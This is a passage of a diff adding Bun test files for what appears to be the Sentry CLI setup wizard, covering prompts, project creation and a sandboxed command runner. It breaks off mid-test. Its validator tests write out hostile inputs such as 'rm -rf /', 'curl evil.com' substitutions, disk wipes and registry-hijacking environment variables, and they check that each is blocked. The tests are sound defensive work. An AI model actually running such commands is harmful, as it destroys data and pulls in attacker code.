stdout: { write: () => true }, + stderr: { write: () => true }, + stdin: process.stdin, + ...overrides, + }; +} + +beforeEach(() => { + selectSpy = spyOn(clack, "select").mockImplementation( + () => Promise.resolve("default") as any + ); + multiselectSpy = spyOn(clack, "multiselect").mockImplementation( + () => Promise.resolve([]) as any + ); + confirmSpy = spyOn(clack, "confirm").mockImplementation( + () => Promise.resolve(true) as any + ); + logInfoSpy = spyOn(clack.log, "info").mockImplementation(noop); + logErrorSpy = spyOn(clack.log, "error").mockImplementation(noop); + logWarnSpy = spyOn(clack.log, "warn").mockImplementation(noop); + cancelSpy = spyOn(clack, "cancel").mockImplementation(noop); + isCancelSpy = spyOn(clack, "isCancel").mockImplementation( + (v: unknown) => v === Symbol.for("cancel") + ); +}); + +afterEach(() => { + selectSpy.mockRestore(); + multiselectSpy.mockRestore(); + confirmSpy.mockRestore(); + logInfoSpy.mockRestore(); + logErrorSpy.mockRestore(); + logWarnSpy.mockRestore(); + cancelSpy.mockRestore(); + isCancelSpy.mockRestore(); +}); + +describe("handleInteractive dispatcher", () => { + test("returns cancelled for unknown kind", async () => { + const result = await handleInteractive( + { type: "interactive", prompt: "test", kind: "unknown" as "select" }, + makeOptions() + ); + expect(result).toEqual({ cancelled: true }); + }); +}); + +describe("handleSelect", () => { + test("auto-selects single option with --yes", async () => { + const result = await handleInteractive( + { + type: "interactive", + prompt: "Choose app", + kind: "select", + options: ["my-app"], + }, + makeOptions({ yes: true }) + ); + + expect(result).toEqual({ selectedApp: "my-app" }); + expect(logInfoSpy).toHaveBeenCalled(); + }); + + test("cancels with --yes when multiple options exist", async () => { + const result = await handleInteractive( + { + type: "interactive", + prompt: "Choose app", + kind: "select", + options: ["react", "vue"], + }, + makeOptions({ yes: true }) + ); + + expect(result).toEqual({ cancelled: true }); + expect(logErrorSpy).toHaveBeenCalled(); + }); + + test("cancels when options list is empty", async () => { + const result = await handleInteractive( + { + type: "interactive", + prompt: "Choose app", + kind: "select", + options: [], + }, + makeOptions() + ); + + expect(result).toEqual({ cancelled: true }); + }); + + test("uses apps array names when options not provided", async () => { + const result = await handleInteractive( + { + type: "interactive", + prompt: "Choose app", + kind: "select", + apps: [{ name: "express-app", path: "/app", framework: "Express" }], + }, + makeOptions({ yes: true }) + ); + + expect(result).toEqual({ selectedApp: "express-app" }); + }); + + test("calls clack select in interactive mode", async () => { + selectSpy.mockImplementation(() => Promise.resolve("vue") as any); + + const result = await handleInteractive( + { + type: "interactive", + prompt: "Choose app", + kind: "select", + options: ["react", "vue"], + }, + makeOptions({ yes: false }) + ); + + expect(result).toEqual({ selectedApp: "vue" }); + expect(selectSpy).toHaveBeenCalled(); + }); + + test("throws WizardCancelledError on user cancellation", async () => { + selectSpy.mockImplementation( + () => Promise.resolve(Symbol.for("cancel")) as any + ); + + await expect( + handleInteractive( + { + type: "interactive", + prompt: "Choose app", + kind: "select", + options: ["react", "vue"], + }, + makeOptions({ yes: false }) + ) + ).rejects.toThrow("Setup cancelled"); + }); +}); + +describe("handleMultiSelect", () => { + test("auto-selects all features with --yes", async () => { + const result = await handleInteractive( + { + type: "interactive", + prompt: "Select features", + kind: "multi-select", + availableFeatures: [ + "errorMonitoring", + "performanceMonitoring", + "sessionReplay", + ], + }, + makeOptions({ yes: true }) + ); + + expect(result.features).toEqual([ + "errorMonitoring", + "performanceMonitoring", + "sessionReplay", + ]); + }); + + test("returns empty features when none available", async () => { + const result = await handleInteractive( + { + type: "interactive", + prompt: "Select features", + kind: "multi-select", + availableFeatures: [], + }, + makeOptions() + ); + + expect(result).toEqual({ features: [] }); + }); + + test("prepends errorMonitoring when available but not user-selected", async () => { + // User selects only sessionReplay, but errorMonitoring is available (required) + multiselectSpy.mockImplementation( + () => Promise.resolve(["sessionReplay"]) as any + ); + + const result = await handleInteractive( + { + type: "interactive", + prompt: "Select features", + kind: "multi-select", + availableFeatures: [ + "errorMonitoring", + "performanceMonitoring", + "sessionReplay", + ], + }, + makeOptions({ yes: false }) + ); + + const features = result.features as string[]; + expect(features[0]).toBe("errorMonitoring"); + expect(features).toContain("sessionReplay"); + }); + + test("throws WizardCancelledError when user cancels multi-select", async () => { + multiselectSpy.mockImplementation( + () => Promise.resolve(Symbol.for("cancel")) as any + ); + + await expect( + handleInteractive( + { + type: "interactive", + prompt: "Select features", + kind: "multi-select", + availableFeatures: ["errorMonitoring", "performanceMonitoring"], + }, + makeOptions({ yes: false }) + ) + ).rejects.toThrow("Setup cancelled"); + }); + + test("returns required feature without calling multiselect when only errorMonitoring available", async () => { + const result = await handleInteractive( + { + type: "interactive", + prompt: "Select features", + kind: "multi-select", + availableFeatures: ["errorMonitoring"], + }, + makeOptions({ yes: false }) + ); + + expect(result).toEqual({ features: ["errorMonitoring"] }); + expect(multiselectSpy).not.toHaveBeenCalled(); + }); + + test("excludes errorMonitoring from multiselect options (always included)", async () => { + multiselectSpy.mockImplementation( + () => Promise.resolve(["performanceMonitoring"]) as any + ); + + await handleInteractive( + { + type: "interactive", + prompt: "Select features", + kind: "multi-select", + availableFeatures: ["errorMonitoring", "performanceMonitoring"], + }, + makeOptions({ yes: false }) + ); + + // The options passed to multiselect should NOT include errorMonitoring + const callArgs = multiselectSpy.mock.calls[0][0] as { + options: Array<{ value: string }>; + }; + const values = callArgs.options.map((o: { value: string }) => o.value); + expect(values).not.toContain("errorMonitoring"); + expect(values).toContain("performanceMonitoring"); + }); +}); + +describe("handleConfirm", () => { + test("auto-confirms with action: continue for non-example prompts with --yes", async () => { + const result = await handleInteractive( + { + type: "interactive", + prompt: "Continue with setup?", + kind: "confirm", + }, + makeOptions({ yes: true }) + ); + + expect(result).toEqual({ action: "continue" }); + }); + + test("throws WizardCancelledError when user cancels confirm", async () => { + confirmSpy.mockImplementation( + () => Promise.resolve(Symbol.for("cancel")) as any + ); + + await expect( + handleInteractive( + { + type: "interactive", + prompt: "Continue with setup?", + kind: "confirm", + }, + makeOptions({ yes: false }) + ) + ).rejects.toThrow("Setup cancelled"); + }); + + test("returns action: stop when user declines non-example prompt", async () => { + confirmSpy.mockImplementation(() => Promise.resolve(false) as any); + + const result = await handleInteractive( + { + type: "interactive", + prompt: "Continue with setup?", + kind: "confirm", + }, + makeOptions({ yes: false }) + ); + + expect(result).toEqual({ action: "stop" }); + }); +}); diff --git a/test/lib/init/local-ops.create-sentry-project.test.ts b/test/lib/init/local-ops.create-sentry-project.test.ts new file mode 100644 index 00000000..718803a6 --- /dev/null +++ b/test/lib/init/local-ops.create-sentry-project.test.ts @@ -0,0 +1,245 @@ +/** + * create-sentry-project local-op tests + * + * Uses spyOn on namespace imports so that the spies intercept calls + * from within the local-ops module (live ESM bindings). + */ + +import { afterEach, beforeEach, describe, expect, spyOn, test } from "bun:test"; +// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference +import * as clack from "@clack/prompts"; +// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference +import * as apiClient from "../../../src/lib/api-client.js"; +import { handleLocalOp } from "../../../src/lib/init/local-ops.js"; +import type { + CreateSentryProjectPayload, + WizardOptions, +} from "../../../src/lib/init/types.js"; +// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference +import * as resolveTarget from "../../../src/lib/resolve-target.js"; +// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference +import * as resolveTeam from "../../../src/lib/resolve-team.js"; +// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference +import * as sentryUrls from "../../../src/lib/sentry-urls.js"; +import type { SentryProject } from "../../../src/types/index.js"; + +function makeOptions(overrides?: Partial): WizardOptions { + return { + directory: "/tmp/test", + force: false, + yes: false, + dryRun: false, + ...overrides, + }; +} + +function makePayload( + overrides?: Partial +): CreateSentryProjectPayload { + return { + type: "local-op", + operation: "create-sentry-project", + cwd: "/tmp/test", + params: { + name: "my-app", + platform: "javascript-nextjs", + ...overrides, + }, + }; +} + +const sampleProject: SentryProject = { + id: "42", + slug: "my-app", + name: "my-app", + platform: "javascript-nextjs", + dateCreated: "2026-03-04T00:00:00Z", +}; + +describe("create-sentry-project", () => { + let resolveOrgSpy: ReturnType; + let listOrgsSpy: ReturnType; + let resolveOrCreateTeamSpy: ReturnType; + let createProjectSpy: ReturnType; + let tryGetPrimaryDsnSpy: ReturnType; + let buildProjectUrlSpy: ReturnType; + let selectSpy: ReturnType; + let isCancelSpy: ReturnType; + + beforeEach(() => { + resolveOrgSpy = spyOn(resolveTarget, "resolveOrg"); + listOrgsSpy = spyOn(apiClient, "listOrganizations"); + resolveOrCreateTeamSpy = spyOn(resolveTeam, "resolveOrCreateTeam"); + createProjectSpy = spyOn(apiClient, "createProject"); + tryGetPrimaryDsnSpy = spyOn(apiClient, "tryGetPrimaryDsn"); + buildProjectUrlSpy = spyOn(sentryUrls, "buildProjectUrl"); + selectSpy = spyOn(clack, "select"); + isCancelSpy = spyOn(clack, "isCancel").mockImplementation( + (v: unknown) => v === Symbol.for("cancel") + ); + }); + + afterEach(() => { + resolveOrgSpy.mockRestore(); + listOrgsSpy.mockRestore(); + resolveOrCreateTeamSpy.mockRestore(); + createProjectSpy.mockRestore(); + tryGetPrimaryDsnSpy.mockRestore(); + buildProjectUrlSpy.mockRestore(); + selectSpy.mockRestore(); + isCancelSpy.mockRestore(); + }); + + function mockDownstreamSuccess(orgSlug: string) { + resolveOrCreateTeamSpy.mockResolvedValue({ + slug: "engineering", + source: "auto-selected", + }); + createProjectSpy.mockResolvedValue(sampleProject); + tryGetPrimaryDsnSpy.mockResolvedValue("https://abc@o1.ingest.sentry.io/42"); + buildProjectUrlSpy.mockReturnValue( + `https://sentry.io/settings/${orgSlug}/projects/my-app/` + ); + } + + test("success path returns project details", async () => { + resolveOrgSpy.mockResolvedValue({ org: "acme-corp" }); + mockDownstreamSuccess("acme-corp"); + + const result = await handleLocalOp(makePayload(), makeOptions()); + + expect(result.ok).toBe(true); + const data = result.data as { + orgSlug: string; + projectSlug: string; + projectId: string; + dsn: string; + url: string; + }; + expect(data.orgSlug).toBe("acme-corp"); + expect(data.projectSlug).toBe("my-app"); + expect(data.projectId).toBe("42"); + expect(data.dsn).toBe("https://abc@o1.ingest.sentry.io/42"); + expect(data.url).toBe( + "https://sentry.io/settings/acme-corp/projects/my-app/" + ); + + // Verify resolveOrCreateTeam was called with slugified name + expect(resolveOrCreateTeamSpy).toHaveBeenCalledWith("acme-corp", { + autoCreateSlug: "my-app", + usageHint: "sentry init", + }); + }); + + test("single org fallback when resolveOrg returns null", async () => { + resolveOrgSpy.mockResolvedValue(null); + listOrgsSpy.mockResolvedValue([ + { id: "1", slug: "solo-org", name: "Solo Org" }, + ]); + mockDownstreamSuccess("solo-org"); + + const result = await handleLocalOp(makePayload(), makeOptions()); + + expect(result.ok).toBe(true); + const data = result.data as { orgSlug: string }; + expect(data.orgSlug).toBe("solo-org"); + expect(selectSpy).not.toHaveBeenCalled(); + }); + + test("no orgs (not authenticated) returns ok:false", async () => { + resolveOrgSpy.mockResolvedValue(null); + listOrgsSpy.mockResolvedValue([]); + + const result = await handleLocalOp(makePayload(), makeOptions()); + + expect(result.ok).toBe(false); + expect(result.error).toContain("Not authenticated"); + expect(createProjectSpy).not.toHaveBeenCalled(); + }); + + test("multiple orgs + --yes flag returns ok:false with slug list", async () => { + resolveOrgSpy.mockResolvedValue(null); + listOrgsSpy.mockResolvedValue([ + { id: "1", slug: "org-a", name: "Org A" }, + { id: "2", slug: "org-b", name: "Org B" }, + ]); + + const result = await handleLocalOp( + makePayload(), + makeOptions({ yes: true }) + ); + + expect(result.ok).toBe(false); + expect(result.error).toContain("Multiple organizations found"); + expect(result.error).toContain("org-a"); + expect(result.error).toContain("org-b"); + expect(createProjectSpy).not.toHaveBeenCalled(); + }); + + test("multiple orgs + interactive select picks chosen org", async () => { + resolveOrgSpy.mockResolvedValue(null); + listOrgsSpy.mockResolvedValue([ + { id: "1", slug: "org-a", name: "Org A" }, + { id: "2", slug: "org-b", name: "Org B" }, + ]); + selectSpy.mockResolvedValue("org-b"); + mockDownstreamSuccess("org-b"); + + const result = await handleLocalOp(makePayload(), makeOptions()); + + expect(result.ok).toBe(true); + const data = result.data as { orgSlug: string }; + expect(data.orgSlug).toBe("org-b"); + expect(selectSpy).toHaveBeenCalledTimes(1); + }); + + test("multiple orgs + user cancels select returns ok:false", async () => { + resolveOrgSpy.mockResolvedValue(null); + listOrgsSpy.mockResolvedValue([ + { id: "1", slug: "org-a", name: "Org A" }, + { id: "2", slug: "org-b", name: "Org B" }, + ]); + selectSpy.mockResolvedValue(Symbol.for("cancel")); + + const result = await handleLocalOp(makePayload(), makeOptions()); + + expect(result.ok).toBe(false); + expect(result.error).toContain("cancelled"); + expect(createProjectSpy).not.toHaveBeenCalled(); + }); + + test("API error (e.g. 409 conflict) returns ok:false", async () => { + resolveOrgSpy.mockResolvedValue({ org: "acme-corp" }); + resolveOrCreateTeamSpy.mockResolvedValue({ + slug: "engineering", + source: "auto-selected", + }); + createProjectSpy.mockRejectedValue( + new Error("409: A project with this slug already exists") + ); + + const result = await handleLocalOp(makePayload(), makeOptions()); + + expect(result.ok).toBe(false); + expect(result.error).toContain("already exists"); + }); + + test("DSN unavailable still returns ok:true with empty dsn", async () => { + resolveOrgSpy.mockResolvedValue({ org: "acme-corp" }); + resolveOrCreateTeamSpy.mockResolvedValue({ + slug: "engineering", + source: "auto-selected", + }); + createProjectSpy.mockResolvedValue(sampleProject); + tryGetPrimaryDsnSpy.mockResolvedValue(null); + buildProjectUrlSpy.mockReturnValue( + "https://sentry.io/settings/acme-corp/projects/my-app/" + ); + + const result = await handleLocalOp(makePayload(), makeOptions()); + + expect(result.ok).toBe(true); + const data = result.data as { dsn: string }; + expect(data.dsn).toBe(""); + }); +}); diff --git a/test/lib/init/local-ops.test.ts b/test/lib/init/local-ops.test.ts new file mode 100644 index 00000000..d8d7c198 --- /dev/null +++ b/test/lib/init/local-ops.test.ts @@ -0,0 +1,943 @@ +import { afterEach, beforeEach, describe, expect, test } from "bun:test"; +import fs, { + mkdirSync, + mkdtempSync, + rmSync, + symlinkSync, + writeFileSync, +} from "node:fs"; +import { join } from "node:path"; +import { + handleLocalOp, + precomputeDirListing, + validateCommand, +} from "../../../src/lib/init/local-ops.js"; +import type { + ApplyPatchsetPayload, + FileExistsBatchPayload, + ListDirPayload, + LocalOpPayload, + ReadFilesPayload, + RunCommandsPayload, + WizardOptions, +} from "../../../src/lib/init/types.js"; + +function makeOptions(overrides?: Partial): WizardOptions { + return { + directory: "/tmp/test", + force: false, + yes: false, + dryRun: false, + ...overrides, + }; +} + +describe("validateCommand", () => { + test("allows legitimate install commands", () => { + const commands = [ + "npm install @sentry/node", + "npm install --save @sentry/react @sentry/browser", + "yarn add @sentry/node", + "pnpm add @sentry/node", + "pip install sentry-sdk", + "pip install sentry-sdk[flask]", + "pip install -r requirements.txt", + "cargo add sentry", + "bundle add sentry-ruby", + "gem install sentry-ruby", + "composer require sentry/sentry-laravel", + "dotnet add package Sentry", + "go get github.com/getsentry/sentry-go", + "flutter pub add sentry_flutter", + "npx @sentry/wizard@latest -i nextjs", + "poetry add sentry-sdk", + ]; + for (const cmd of commands) { + expect(validateCommand(cmd)).toBeUndefined(); + } + }); + + test("blocks shell metacharacters", () => { + for (const cmd of [ + "npm install foo; rm -rf /", + "npm install foo && curl evil.com", + "npm install foo || curl evil.com", + "npm install foo | tee /etc/passwd", + "npm install `curl evil.com`", + "npm install $(curl evil.com)", + "npm install foo\ncurl evil.com", + "npm install foo\rcurl evil.com", + "npm install foo > /tmp/out", + "npm install foo < /tmp/in", + "npm install foo & whoami", + ]) { + expect(validateCommand(cmd)).toContain("Blocked command"); + } + }); + + test("blocks subshell bypass via parentheses", () => { + for (const cmd of ["(rm -rf .)", "(curl evil.com)"]) { + expect(validateCommand(cmd)).toContain("Blocked command"); + } + }); + + test("blocks shell escape bypass attempts", () => { + for (const cmd of [ + "npm install foo$'\\x3b'whoami", + // biome-ignore lint/suspicious/noTemplateCurlyInString: testing literal ${IFS} in command string + "npm install foo${IFS}curl evil.com", + "npm install foo\\nwhoami", + "echo 'hello'", + ]) { + expect(validateCommand(cmd)).toContain("Blocked command"); + } + }); + + test("blocks glob and brace expansion characters", () => { + for (const cmd of [ + "npm install {evil,@sentry/node}", + "npm install sentry-*", + "npm install sentry-?.js", + ]) { + expect(validateCommand(cmd)).toContain("Blocked command"); + } + }); + + test("blocks shell comment character to prevent command truncation", () => { + for (const cmd of [ + "npm install evil-pkg # @sentry/node", + "npm install evil-pkg#benign", + ]) { + expect(validateCommand(cmd)).toContain("Blocked command"); + } + }); + + test("blocks environment variable injection in first token", () => { + for (const cmd of [ + "npm_config_registry=http://evil.com npm install @sentry/node", + "PIP_INDEX_URL=https://attacker.com/simple pip install sentry-sdk", + "NODE_ENV=production npm install", + ]) { + expect(validateCommand(cmd)).toContain("environment variable assignment"); + } + }); + + test("blocks dangerous executables", () => { + for (const cmd of [ + "rm -rf /", + "curl https://evil.com/payload", + "sudo npm install foo", + "chmod 777 /etc/passwd", + "kill -9 1", + "dd if=/dev/zero of=/dev/sda", + "ssh user@host", + "bash -c 'echo hello'", + "sh -c 'echo hello'", + "env npm install foo", + "xargs rm", + ]) { + expect(validateCommand(cmd)).toContain("Blocked command"); + } + }); + + test("resolves path-prefixed executables", () => { + // Safe executables with paths pass + expect( + validateCommand("./venv/bin/pip install sentry-sdk") + ).toBeUndefined(); + expect(validateCommand("/usr/local/bin/npm install foo")).toBeUndefined(); + + // Dangerous executables with paths are still blocked + expect(validateCommand("./venv/bin/rm -rf /")).toContain('"rm"'); + expect(validateCommand("/usr/bin/curl https://evil.com")).toContain( + '"curl"' + ); + }); + + test("blocks empty and whitespace-only commands", () => { + expect(validateCommand("")).toContain("empty command"); + expect(validateCommand(" ")).toContain("empty command"); + }); +}); + +describe("handleLocalOp", () => { + let testDir: string; + let options: WizardOptions; + + beforeEach(() => { + testDir = mkdtempSync(join("/tmp", "local-ops-test-")); + options = makeOptions({ directory: testDir }); + }); + + afterEach(() => { + rmSync(testDir, { recursive: true, force: true }); + }); + + describe("dispatcher", () => { + test("returns error for unknown operation", async () => { + const payload = { + type: "local-op", + operation: "teleport", + cwd: testDir, + params: {}, + } as unknown as LocalOpPayload; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(false); + expect(result.error).toContain("Unknown operation"); + }); + }); + + describe("path traversal protection", () => { + test("rejects relative path escaping cwd", async () => { + const payload: ListDirPayload = { + type: "local-op", + operation: "list-dir", + cwd: testDir, + params: { path: "../../../etc" }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(false); + expect(result.error).toContain("outside project directory"); + }); + + test("rejects absolute path outside cwd in read-files", async () => { + const payload: ReadFilesPayload = { + type: "local-op", + operation: "read-files", + cwd: testDir, + params: { paths: ["/etc/passwd"] }, + }; + + const result = await handleLocalOp(payload, options); + // read-files catches errors per-file and returns null + expect(result.ok).toBe(true); + const files = (result.data as { files: Record }) + .files; + expect(files["/etc/passwd"]).toBeNull(); + }); + + test("allows relative path within cwd", async () => { + mkdirSync(join(testDir, "subdir")); + writeFileSync(join(testDir, "subdir", "file.txt"), "hello"); + + const payload: ListDirPayload = { + type: "local-op", + operation: "list-dir", + cwd: testDir, + params: { path: "subdir" }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(true); + }); + }); + + describe("cwd sandboxing", () => { + test("rejects cwd outside project directory", async () => { + const payload: ListDirPayload = { + type: "local-op", + operation: "list-dir", + cwd: "/", + params: { path: "." }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(false); + expect(result.error).toContain("outside project directory"); + }); + + test("allows cwd equal to project directory", async () => { + writeFileSync(join(testDir, "file.txt"), "x"); + + const payload: ListDirPayload = { + type: "local-op", + operation: "list-dir", + cwd: testDir, + params: { path: "." }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(true); + }); + + test("allows cwd that is a subdirectory of project directory", async () => { + mkdirSync(join(testDir, "sub")); + writeFileSync(join(testDir, "sub", "file.txt"), "x"); + + const payload: ListDirPayload = { + type: "local-op", + operation: "list-dir", + cwd: join(testDir, "sub"), + params: { path: "." }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(true); + }); + }); + + describe("symlink protection", () => { + test("rejects symlink pointing outside project in read-files", async () => { + symlinkSync("/etc", join(testDir, "escape-link")); + + const payload: ReadFilesPayload = { + type: "local-op", + operation: "read-files", + cwd: testDir, + params: { paths: ["escape-link/passwd"] }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(true); + // read-files catches per-file errors and returns null + const files = (result.data as { files: Record }) + .files; + expect(files["escape-link/passwd"]).toBeNull(); + }); + + test("rejects symlink parent directory in apply-patchset create", async () => { + symlinkSync("/tmp", join(testDir, "link-out")); + + const payload: ApplyPatchsetPayload = { + type: "local-op", + operation: "apply-patchset", + cwd: testDir, + params: { + patches: [ + { + path: "link-out/evil.txt", + action: "create", + patch: "pwned", + }, + ], + }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(false); + expect(result.error).toContain("via symlink"); + }); + + test("allows regular files and directories (no false positives)", async () => { + mkdirSync(join(testDir, "real-dir")); + writeFileSync(join(testDir, "real-dir", "file.txt"), "safe"); + + const payload: ReadFilesPayload = { + type: "local-op", + operation: "read-files", + cwd: testDir, + params: { paths: ["real-dir/file.txt"] }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(true); + const files = (result.data as { files: Record }) + .files; + expect(files["real-dir/file.txt"]).toBe("safe"); + }); + }); + + describe("list-dir", () => { + test("lists files and directories with correct types", async () => { + writeFileSync(join(testDir, "file1.txt"), "a"); + writeFileSync(join(testDir, "file2.ts"), "b"); + mkdirSync(join(testDir, "subdir")); + + const payload: ListDirPayload = { + type: "local-op", + operation: "list-dir", + cwd: testDir, + params: { path: "." }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(true); + + const entries = ( + result.data as { + entries: Array<{ + name: string; + type: "file" | "directory"; + }>; + } + ).entries; + expect(entries).toHaveLength(3); + + const names = entries.map((e) => e.name).sort(); + expect(names).toEqual(["file1.txt", "file2.ts", "subdir"]); + + const dir = entries.find((e) => e.name === "subdir"); + expect(dir?.type).toBe("directory"); + + const file = entries.find((e) => e.name === "file1.txt"); + expect(file?.type).toBe("file"); + }); + + test("respects maxEntries limit", async () => { + for (let i = 0; i < 10; i++) { + writeFileSync(join(testDir, `file${i}.txt`), "x"); + } + + const payload: ListDirPayload = { + type: "local-op", + operation: "list-dir", + cwd: testDir, + params: { path: ".", maxEntries: 3 }, + }; + + const result = await handleLocalOp(payload, options); + const entries = (result.data as { entries: Array<{ name: string }> }) + .entries; + expect(entries).toHaveLength(3); + }); + + test("recursive mode traverses nested directories", async () => { + mkdirSync(join(testDir, "a")); + writeFileSync(join(testDir, "a", "nested.txt"), "x"); + + const payload: ListDirPayload = { + type: "local-op", + operation: "list-dir", + cwd: testDir, + params: { path: ".", recursive: true, maxDepth: 3 }, + }; + + const result = await handleLocalOp(payload, options); + const entries = (result.data as { entries: Array<{ path: string }> }) + .entries; + const paths = entries.map((e) => e.path); + expect(paths).toContain(join("a", "nested.txt")); + }); + + test("skips node_modules and dot-directories when recursing", async () => { + mkdirSync(join(testDir, "node_modules", "pkg"), { recursive: true }); + writeFileSync(join(testDir, "node_modules", "pkg", "index.js"), "x"); + mkdirSync(join(testDir, ".git", "objects"), { recursive: true }); + writeFileSync(join(testDir, ".git", "objects", "abc"), "x"); + mkdirSync(join(testDir, "src")); + writeFileSync(join(testDir, "src", "app.ts"), "x"); + + const payload: ListDirPayload = { + type: "local-op", + operation: "list-dir", + cwd: testDir, + params: { path: ".", recursive: true, maxDepth: 5 }, + }; + + const result = await handleLocalOp(payload, options); + const entries = (result.data as { entries: Array<{ path: string }> }) + .entries; + const paths = entries.map((e) => e.path); + + // The top-level dirs are listed but not recursed into + expect(paths).toContain("node_modules"); + expect(paths).toContain(".git"); + // Their children should NOT be listed + expect(paths).not.toContain(join("node_modules", "pkg")); + expect(paths).not.toContain(join(".git", "objects")); + // src IS recursed into + expect(paths).toContain(join("src", "app.ts")); + }); + + test("respects maxDepth limit", async () => { + // Create 3-level deep structure + mkdirSync(join(testDir, "a", "b", "c"), { recursive: true }); + writeFileSync(join(testDir, "a", "b", "c", "deep.txt"), "x"); + + const payload: ListDirPayload = { + type: "local-op", + operation: "list-dir", + cwd: testDir, + params: { path: ".", recursive: true, maxDepth: 1 }, + }; + + const result = await handleLocalOp(payload, options); + const entries = (result.data as { entries: Array<{ path: string }> }) + .entries; + const paths = entries.map((e) => e.path); + + expect(paths).toContain("a"); + expect(paths).toContain(join("a", "b")); + // Depth 2+ should not be reached + expect(paths).not.toContain(join("a", "b", "c")); + }); + }); + + describe("read-files", () => { + test("reads file contents correctly", async () => { + writeFileSync(join(testDir, "hello.txt"), "world"); + + const payload: ReadFilesPayload = { + type: "local-op", + operation: "read-files", + cwd: testDir, + params: { paths: ["hello.txt"] }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(true); + const files = (result.data as { files: Record }) + .files; + expect(files["hello.txt"]).toBe("world"); + }); + + test("returns null for non-existent files", async () => { + const payload: ReadFilesPayload = { + type: "local-op", + operation: "read-files", + cwd: testDir, + params: { paths: ["missing.txt"] }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(true); + const files = (result.data as { files: Record }) + .files; + expect(files["missing.txt"]).toBeNull(); + }); + + test("truncates files exceeding maxBytes", async () => { + const content = "A".repeat(1000); + writeFileSync(join(testDir, "big.txt"), content); + + const payload: ReadFilesPayload = { + type: "local-op", + operation: "read-files", + cwd: testDir, + params: { paths: ["big.txt"], maxBytes: 50 }, + }; + + const result = await handleLocalOp(payload, options); + const files = (result.data as { files: Record }) + .files; + expect(files["big.txt"]?.length).toBe(50); + }); + + test("handles multiple files in one call", async () => { + writeFileSync(join(testDir, "a.txt"), "aaa"); + writeFileSync(join(testDir, "b.txt"), "bbb"); + + const payload: ReadFilesPayload = { + type: "local-op", + operation: "read-files", + cwd: testDir, + params: { paths: ["a.txt", "b.txt", "c.txt"] }, + }; + + const result = await handleLocalOp(payload, options); + const files = (result.data as { files: Record }) + .files; + expect(files["a.txt"]).toBe("aaa"); + expect(files["b.txt"]).toBe("bbb"); + expect(files["c.txt"]).toBeNull(); + }); + }); + + describe("file-exists-batch", () => { + test("correctly identifies existing and missing files", async () => { + writeFileSync(join(testDir, "exists.txt"), "yes"); + + const payload: FileExistsBatchPayload = { + type: "local-op", + operation: "file-exists-batch", + cwd: testDir, + params: { paths: ["exists.txt", "nope.txt"] }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(true); + const exists = (result.data as { exists: Record }) + .exists; + expect(exists["exists.txt"]).toBe(true); + expect(exists["nope.txt"]).toBe(false); + }); + + test("returns false for path traversal attempts", async () => { + const payload: FileExistsBatchPayload = { + type: "local-op", + operation: "file-exists-batch", + cwd: testDir, + params: { paths: ["../../etc/passwd"] }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(true); + const exists = (result.data as { exists: Record }) + .exists; + expect(exists["../../etc/passwd"]).toBe(false); + }); + }); + + describe("run-commands", () => { + test("executes command and captures stdout", async () => { + const payload: RunCommandsPayload = { + type: "local-op", + operation: "run-commands", + cwd: testDir, + params: { commands: ["echo hello"] }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(true); + const results = ( + result.data as { + results: Array<{ + stdout: string; + exitCode: number; + }>; + } + ).results; + expect(results[0].stdout.trim()).toBe("hello"); + expect(results[0].exitCode).toBe(0); + }); + + test("returns error on failed command", async () => { + const payload: RunCommandsPayload = { + type: "local-op", + operation: "run-commands", + cwd: testDir, + params: { commands: ["ls /nonexistent_path_that_does_not_exist_xyz"] }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(false); + expect(result.error).toContain("failed with exit code"); + }); + + test("rejects blocked commands", async () => { + const payload: RunCommandsPayload = { + type: "local-op", + operation: "run-commands", + cwd: testDir, + params: { commands: ["rm -rf /"] }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(false); + expect(result.error).toContain("Blocked command"); + }); + + test("stops on first failed command in a sequence", async () => { + const payload: RunCommandsPayload = { + type: "local-op", + operation: "run-commands", + cwd: testDir, + params: { commands: ["false", "echo should_not_run"] }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(false); + const results = ( + result.data as { + results: Array<{ command: string }>; + } + ).results; + expect(results).toHaveLength(1); + expect(results[0].command).toBe("false"); + }); + + test("dry-run validates commands but skips execution", async () => { + const payload: RunCommandsPayload = { + type: "local-op", + operation: "run-commands", + cwd: testDir, + params: { commands: ["rm -rf /", "echo hello"] }, + }; + + const dryRunOptions = makeOptions({ dryRun: true, directory: testDir }); + const result = await handleLocalOp(payload, dryRunOptions); + expect(result.ok).toBe(false); + expect(result.error).toContain("Blocked command"); + }); + + test("dry-run skips execution for valid commands", async () => { + const payload: RunCommandsPayload = { + type: "local-op", + operation: "run-commands", + cwd: testDir, + params: { commands: ["npm install @sentry/node", "echo hello"] }, + }; + + const dryRunOptions = makeOptions({ dryRun: true, directory: testDir }); + const result = await handleLocalOp(payload, dryRunOptions); + expect(result.ok).toBe(true); + const results = ( + result.data as { + results: Array<{ stdout: string; exitCode: number }>; + } + ).results; + expect(results).toHaveLength(2); + expect(results[0].stdout).toBe("(dry-run: skipped)"); + expect(results[0].exitCode).toBe(0); + }); + + test("rejects entire batch if any command fails validation", async () => { + const payload: RunCommandsPayload = { + type: "local-op", + operation: "run-commands", + cwd: testDir, + params: { commands: ["echo hello", "rm 